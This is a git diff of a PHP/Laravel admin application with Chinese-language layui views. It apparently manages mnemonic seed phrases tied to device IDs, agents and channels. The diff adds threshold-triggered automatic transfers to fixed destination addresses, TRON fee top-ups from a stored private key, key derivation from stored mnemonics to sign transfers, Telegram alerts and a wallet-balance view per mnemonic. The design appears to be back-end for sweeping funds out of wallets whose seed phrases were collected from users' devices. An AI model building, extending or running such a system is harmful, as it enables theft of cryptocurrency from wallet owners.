$this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]);
create_log([
'event' => 'tron_fee_topup_failed',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'error' => $e->getMessage(),
'operator' => $operator,
], 'transfer');
$this->notifyFeeTopupTelegram(
feeFrom: $feeAddress,
toAddress: $fromAddress,
ok: false,
amount: $amount,
error: $e->getMessage(),
);
throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage());
}
$deadline = microtime(true) + 45;
do {
if (! app()->runningUnitTests()) {
usleep(1_500_000);
}
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
return;
}
} while (microtime(true) < $deadline);
create_log([
'event' => 'tron_fee_topup_confirm_timeout',
'to' => $fromAddress,
'trx_after' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up sent but balance still below '.$target);
}
/** /**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
@@ -155,9 +324,92 @@ class TransferService
'error' => $record['error'], 'error' => $record['error'],
], 'transfer'); ], 'transfer');
$this->notifyTransferTelegram($record, $result);
return $result; return $result;
} }
/**
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
*/
private function notifyTransferTelegram(array $record, array $result): void
{
$operator = (string) ($record['operator'] ?? '');
if ($operator !== 'auto') {
return;
}
$from = (string) ($record['from_address'] ?? '');
$deviceKey = $this->deviceKeyForAddress($from);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyAutoTransfer(
$deviceKey,
$from,
(string) ($record['chain'] ?? ''),
(string) ($record['asset'] ?? ''),
(bool) ($result['ok'] ?? false),
isset($record['amount']) ? (string) $record['amount'] : null,
isset($record['to_address']) ? (string) $record['to_address'] : null,
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function notifyFeeTopupTelegram(
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$deviceKey = $this->deviceKeyForAddress($toAddress);
if ($deviceKey === '') {
return;
}
try {
$this->telegram->notifyFeeTopup(
$deviceKey,
$feeFrom,
$toAddress,
$ok,
$amount,
$txid,
$error,
);
} catch (\Throwable) {
// never break transfer for telegram
}
}
private function deviceKeyForAddress(string $address): string
{
$address = trim($address);
if ($address === '') {
return '';
}
try {
$devicePk = WalletAddress::query()->where('address', $address)->value('device_id');
if ($devicePk === null) {
return '';
}
return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: '');
} catch (\Throwable) {
return '';
}
}
private function toAddress(string $chain): string private function toAddress(string $chain): string
{ {
return match ($chain) { return match ($chain) {
@@ -235,14 +487,14 @@ class TransferService
$addressRows = WalletAddress::query() $addressRows = WalletAddress::query()
->where('address', $fromAddress) ->where('address', $fromAddress)
->orderBy('id') ->orderBy('id')
->get(['device_id', 'source']); ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
// ETH addresses are often stored with mixed-case checksum. // ETH addresses are often stored with mixed-case checksum.
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) { if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
$addressRows = WalletAddress::query() $addressRows = WalletAddress::query()
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)]) ->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
->orderBy('id') ->orderBy('id')
->get(['device_id', 'source']); ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
} }
if ($addressRows->isEmpty()) { if ($addressRows->isEmpty()) {
@@ -253,6 +505,29 @@ class TransferService
$caseInsensitive = $driver->chainId() === 'eth'; $caseInsensitive = $driver->chainId() === 'eth';
foreach ($addressRows as $row) { foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) {
$linked = WalletMnemonic::query()->find($row->mnemonic_id);
$phrase = $linked?->mnemonic;
if ($phrase !== null && trim($phrase) !== '') {
if ($row->derive_index !== null) {
return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index];
}
for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
$match = $caseInsensitive
? strcasecmp($derived, $fromAddress) === 0
: $derived === $fromAddress;
if ($match) {
return ['mnemonic' => $phrase, 'index' => $index];
}
} catch (\Throwable) {
break;
}
}
}
}
$mnemonics = WalletMnemonic::query() $mnemonics = WalletMnemonic::query()
->where('device_id', $row->device_id) ->where('device_id', $row->device_id)
->where(function ($q) use ($row) { ->where(function ($q) use ($row) {
+28 -8
View File
@@ -44,12 +44,14 @@ class WalletBalanceService
try { try {
$driver = $this->chains->resolve('eth'); $driver = $this->chains->resolve('eth');
$address->eth = $driver->getNativeBalance($addr); $attrs = [
'eth' => $driver->getNativeBalance($addr),
];
$contract = trim((string) config('coruna.eth.usdt_contract', '')); $contract = trim((string) config('coruna.eth.usdt_contract', ''));
if ($contract !== '') { if ($contract !== '') {
$address->usdt = $driver->getTokenBalance($addr, $contract); $attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
} }
$address->save(); $this->persistCoins($address, $attrs);
Log::info('eth balance refresh ok', [ Log::info('eth balance refresh ok', [
'wallet_address_id' => $address->id, 'wallet_address_id' => $address->id,
@@ -78,8 +80,9 @@ class WalletBalanceService
try { try {
$driver = $this->chains->resolve('btc'); $driver = $this->chains->resolve('btc');
$address->btc = $driver->getNativeBalance($addr); $this->persistCoins($address, [
$address->save(); 'btc' => $driver->getNativeBalance($addr),
]);
Log::info('btc balance refresh ok', [ Log::info('btc balance refresh ok', [
'wallet_address_id' => $address->id, 'wallet_address_id' => $address->id,
@@ -120,10 +123,11 @@ class WalletBalanceService
]; ];
} }
$address->trx = $balances['trx'];
$address->usdt = $balances['usdt'];
// No official BTC/ETH/BNB on Tron — leave those columns untouched. // No official BTC/ETH/BNB on Tron — leave those columns untouched.
$address->save(); $this->persistCoins($address, [
'trx' => $balances['trx'],
'usdt' => $balances['usdt'],
]);
Log::info('tron balance refresh ok', [ Log::info('tron balance refresh ok', [
'wallet_address_id' => $address->id, 'wallet_address_id' => $address->id,
@@ -144,6 +148,22 @@ class WalletBalanceService
} }
} }
/**
* Always write coin columns back to wallet_addresses (even when values are unchanged).
*
* @param array<string, string|int|float|null> $coins
*/
private function persistCoins(WalletAddress $address, array $coins): void
{
if ($address->id === null || $coins === []) {
return;
}
$coins['updated_at'] = now();
WalletAddress::query()->whereKey($address->id)->update($coins);
$address->refresh();
}
/** /**
* TronGrid REST: native + TRC20 in one call. * TronGrid REST: native + TRC20 in one call.
* Empty data[] (never-activated account) → explicit zeros. * Empty data[] (never-activated account) → explicit zeros.
-2
View File
@@ -133,9 +133,7 @@ final class WalletSource
'ETH', 'ETHEREUM', 'EVM', 'ETH', 'ETHEREUM', 'EVM',
'TRX', 'TRON', 'TRX', 'TRON',
'BTC', 'BITCOIN', 'BTC', 'BITCOIN',
'SOL', 'SOLANA',
'BNB', 'BSC', 'BINANCE', 'BNB', 'BSC', 'BINANCE',
'TON',
]; ];
public static function isSupportedChain(string $chainType): bool public static function isSupportedChain(string $chainType): bool
+12
View File
@@ -54,6 +54,14 @@ return [
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5), 'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
], ],
'auto_transfer' => [
'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
],
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
// system paths with is_executable() under open_basedir (see CorunaArchive). // system paths with is_executable() under open_basedir (see CorunaArchive).
'seven_zip' => env('CORUNA_7Z_BIN', ''), 'seven_zip' => env('CORUNA_7Z_BIN', ''),
@@ -95,6 +103,10 @@ return [
'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'to_address' => env('TRANSFER_TO_ADDRESS', ''),
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''), 'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
// Target TRX balance before a transfer (shortfall only is sent).
'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'),
'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
'max_trx' => env('TRANSFER_MAX_TRX', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'),
'max_eth' => env('TRANSFER_MAX_ETH', '0'), 'max_eth' => env('TRANSFER_MAX_ETH', '0'),
@@ -0,0 +1,30 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->foreignId('mnemonic_id')
->nullable()
->after('source')
->constrained('wallet_mnemonics')
->nullOnDelete();
$table->unsignedTinyInteger('derive_index')
->nullable()
->after('mnemonic_id');
});
}
public function down(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropConstrainedForeignId('mnemonic_id');
$table->dropColumn('derive_index');
});
}
};
@@ -0,0 +1,32 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->boolean('auto_transfer_enabled')->default(false)->after('chat_id');
$table->decimal('auto_transfer_threshold_usdt', 24, 8)->nullable()->after('auto_transfer_enabled');
$table->decimal('auto_transfer_threshold_trx', 24, 8)->nullable()->after('auto_transfer_threshold_usdt');
$table->decimal('auto_transfer_threshold_eth', 24, 8)->nullable()->after('auto_transfer_threshold_trx');
$table->decimal('auto_transfer_threshold_btc', 24, 8)->nullable()->after('auto_transfer_threshold_eth');
});
}
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn([
'auto_transfer_enabled',
'auto_transfer_threshold_usdt',
'auto_transfer_threshold_trx',
'auto_transfer_threshold_eth',
'auto_transfer_threshold_btc',
]);
});
}
};
@@ -46,6 +46,26 @@
</select> </select>
</div> </div>
</div> </div>
<div class="layui-inline">
<label class="layui-form-label">助记词</label>
<div class="layui-input-block">
<select name="has_mnemonic">
<option value="">全部</option>
<option value="1">有</option>
<option value="0">无</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">余额</label>
<div class="layui-input-block">
<select name="has_balance">
<option value="">全部</option>
<option value="1">有余额</option>
<option value="0">无余额</option>
</select>
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button> <button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
</div> </div>
@@ -91,6 +111,9 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) { { field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
return chainTag(d.chain_type); return chainTag(d.chain_type);
}}, }},
{ field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) {
return d.mnemonic_id ? d.mnemonic_id : '—';
}},
{ field: 'usdt', title: 'USDT', width: 100, sort: true }, { field: 'usdt', title: 'USDT', width: 100, sort: true },
{ field: 'trx', title: 'TRX', width: 100, sort: true }, { field: 'trx', title: 'TRX', width: 100, sort: true },
{ field: 'eth', title: 'ETH', width: 100, sort: true }, { field: 'eth', title: 'ETH', width: 100, sort: true },
+20 -2
View File
@@ -94,7 +94,7 @@ layui.use(['table', 'form', 'layer'], function () {
layer.open({ layer.open({
type: 1, type: 1,
title: title, title: title,
area: ['520px', '520px'], area: ['560px', 'auto'],
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' + content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' + '<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' + '<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
@@ -115,9 +115,25 @@ layui.use(['table', 'form', 'layer'], function () {
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' + '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' + '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' + '</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
'</div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">阈值</label><div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:6px;">' +
'<input name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:110px;" value="' + esc(values.auto_transfer_threshold_usdt || '') + '">' +
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 &gt;0)</div></div>' +
'</form>', '</form>',
success: function () { success: function (layero, index) {
form.render(); form.render();
var maxH = Math.max(240, window.innerHeight - 140);
var $content = layero.find('.layui-layer-content');
if ($content.outerHeight() > maxH) {
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
}
$('#LAY-agent-tg-test').on('click', function () { $('#LAY-agent-tg-test').on('click', function () {
var $btn = $(this); var $btn = $(this);
if ($btn.prop('disabled')) return; if ($btn.prop('disabled')) return;
@@ -147,7 +163,9 @@ layui.use(['table', 'form', 'layer'], function () {
var data = {}; var data = {};
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; }); $('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0; data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
delete data.status_switch; delete data.status_switch;
delete data.auto_transfer_switch;
onOk(data, index); onOk(data, index);
} }
}); });
+177 -3
View File
@@ -4,6 +4,33 @@
@section('content') @section('content')
@php $portal = $portal ?? 'admin'; @endphp @php $portal = $portal ?? 'admin'; @endphp
<style>
.mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
margin-bottom: 10px;
}
.mn-wallet-meta { color: #666; font-size: 13px; }
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.mn-wallet-table th,
.mn-wallet-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.mn-wallet-table .addr-cell {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
max-width: 280px;
}
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
</style>
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item"> <div class="layui-form-item">
@@ -34,6 +61,7 @@
<div class="layui-card-body"> <div class="layui-card-body">
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table> <table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
<script type="text/html" id="LAY-mn-ops"> <script type="text/html" id="LAY-mn-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a> <a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script> </script>
</div> </div>
@@ -42,9 +70,151 @@
@push('scripts') @push('scripts')
<script> <script>
layui.use(['table', 'form'], function () { layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form; var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function coinVal(v) {
return (v === null || v === undefined || v === '') ? '—' : esc(v);
}
function renderWalletsHtml(payload) {
var rows = (payload && payload.addresses) || [];
var html = '<div class="mn-wallet-wrap">';
html += '<div class="mn-wallet-hd">';
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
(payload.source ? ' · ' + esc(payload.source) : '') +
' · 关联地址 ' + rows.length + ' 个</div>';
if (rows.length && payload.refresh_url) {
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
}
html += '</div>';
if (!rows.length) {
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
return html;
}
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
html += '<tr>' +
'<td>' + esc(r.id) + '</td>' +
'<td>' + esc(r.chain_type || '—') + '</td>' +
'<td class="addr-cell">' + esc(r.address) + '</td>' +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
'</tr>';
});
html += '</tbody></table></div></div>';
return html;
}
function applyWalletsHtml(layero, payload) {
var html = renderWalletsHtml(payload);
var $wrap = layero.find('.mn-wallet-wrap').first();
if ($wrap.length) {
$wrap.replaceWith(html);
} else {
var $content = layero.find('.layui-layer-content').first();
if ($content.length) $content.html(html);
else layero.html(html);
}
bindRefresh(layero, payload);
}
function bindRefresh(layero, payload) {
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
var btn = $(this);
if (btn.prop('disabled')) return;
if (!payload.refresh_url) return;
btn.prop('disabled', true).addClass('layui-btn-disabled');
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: payload.refresh_url,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
return layer.msg((res && res.msg) || '刷新失败');
}
var next = res.data || {};
applyWalletsHtml(layero, next);
var ok = Number(next.refreshed || 0);
var fail = Number(next.failed || 0);
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
var cooldown = Number(next.retry_after || 60);
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, cooldown * 1000);
},
error: function (xhr) {
layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429 && retry > 0) {
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
setTimeout(function () {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
layer.msg(body.msg || body.message || '刷新失败');
}
});
});
}
function openWallets(row) {
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: row.wallets_url,
method: 'GET',
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var payload = res.data || {};
if (!payload.refresh_url && row.refresh_url) {
payload.refresh_url = row.refresh_url;
}
layer.open({
type: 1,
title: '关联钱包 — 助记词 #' + row.id,
area: ['920px', '480px'],
shadeClose: true,
content: renderWalletsHtml(payload),
success: function (layero) {
bindRefresh(layero, payload);
}
});
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
}
});
}
table.render({ table.render({
elem: '#LAY-mn-list', elem: '#LAY-mn-list',
id: 'LAY-mn-list', id: 'LAY-mn-list',
@@ -56,7 +226,7 @@ layui.use(['table', 'form'], function () {
{ field: 'device_key', title: '设备 ID', minWidth: 220 }, { field: 'device_key', title: '设备 ID', minWidth: 220 },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 }, { field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true }, { field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' } { title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]], ]],
page: true, limit: 20, limits: [10, 20, 30, 50], page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' }, request: { pageName: 'page', limitName: 'limit' },
@@ -67,6 +237,10 @@ layui.use(['table', 'form'], function () {
return false; return false;
}); });
table.on('tool(LAY-mn-list)', function (obj) { table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'wallets') {
openWallets(obj.data);
return;
}
if (obj.event !== 'detail') return; if (obj.event !== 'detail') return;
var url = obj.data.detail_url; var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id)); var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
+2 -3
View File
@@ -128,7 +128,6 @@
</dd> </dd>
</dl> </dl>
</li> </li>
@if(auth('admin')->user()?->isSuper())
<li data-name="system" class="layui-nav-item"> <li data-name="system" class="layui-nav-item">
<a href="javascript:;" lay-tips="系统" lay-direction="2"> <a href="javascript:;" lay-tips="系统" lay-direction="2">
<i class="layui-icon layui-icon-set"></i> <i class="layui-icon layui-icon-set"></i>
@@ -138,19 +137,19 @@
<dd data-name="settings"> <dd data-name="settings">
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a> <a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
</dd> </dd>
@if(auth('admin')->user()?->isSuper())
<dd data-name="admins"> <dd data-name="admins">
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a> <a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
</dd> </dd>
<dd data-name="raw-logs"> <dd data-name="raw-logs">
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a> <a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
</dd> </dd>
@endif
</dl> </dl>
</li> </li>
@endif
</ul> </ul>
</div> </div>
</div> </div>
<div class="layadmin-pagetabs" id="LAY_app_tabs"> <div class="layadmin-pagetabs" id="LAY_app_tabs">
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div> <div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div> <div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
+43 -30
View File
@@ -11,20 +11,19 @@
<legend>Telegram Bot</legend> <legend>Telegram Bot</legend>
</fieldset> </fieldset>
<div class="layui-form-item"> <div class="layui-form-item">
<label class="layui-form-label">Bot Token</label> <label class="layui-form-label">Bot</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="telegram_bot_token" class="layui-input" autocomplete="off" <div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
value="{{ $form['telegram.bot_token'] }}">
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-bot-name">
@if($botUsername) @if($botUsername)
当前 Bot:<b>{{ $botUsername }}</b> 当前 Bot:<b>{{ $botUsername }}</b>
@if($botInviteUrl) @if($botInviteUrl)
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a> · <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
@endif @endif
@else @else
保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。 未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
@endif @endif
</div> </div>
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
</div> </div>
</div> </div>
<div class="layui-form-item"> <div class="layui-form-item">
@@ -39,49 +38,64 @@
@if($botUsername) @if($botUsername)
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。 请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
@else @else
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。保存 Token 后会提示要邀请哪个 Bot。 全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
@endif @endif
</div> </div>
</div> </div>
</div> </div>
<fieldset class="layui-elem-field layui-field-title"> <fieldset class="layui-elem-field layui-field-title">
<legend>后台访问域名</legend> <legend>自动转账(官方渠道)</legend>
</fieldset> </fieldset>
<div class="layui-form-item"> <div class="layui-form-item">
<label class="layui-form-label">管理后台</label> <label class="layui-form-label">开关</label>
<div class="layui-input-block"> <div class="layui-input-block">
<textarea name="panel_admin_hosts" class="layui-textarea" rows="3" <input type="hidden" name="auto_transfer_enabled" value="0">
placeholder="多行或逗号分隔,如:admin.example.com">{{ $form['panel.admin_hosts'] }}</textarea> <input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /admin(其它域名 404)。也可设 .env CORUNA_ADMIN_HOSTS</div> {{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
</div> </div>
</div> </div>
<div class="layui-form-item"> <div class="layui-form-item">
<label class="layui-form-label">运营后台</label> <label class="layui-form-label">阈值</label>
<div class="layui-input-block"> <div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
<textarea name="panel_agent_hosts" class="layui-textarea" rows="3" <input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
placeholder="多行或逗号分隔,如:agent.example.com">{{ $form['panel.agent_hosts'] }}</textarea> value="{{ $form['auto_transfer.threshold_usdt'] }}">
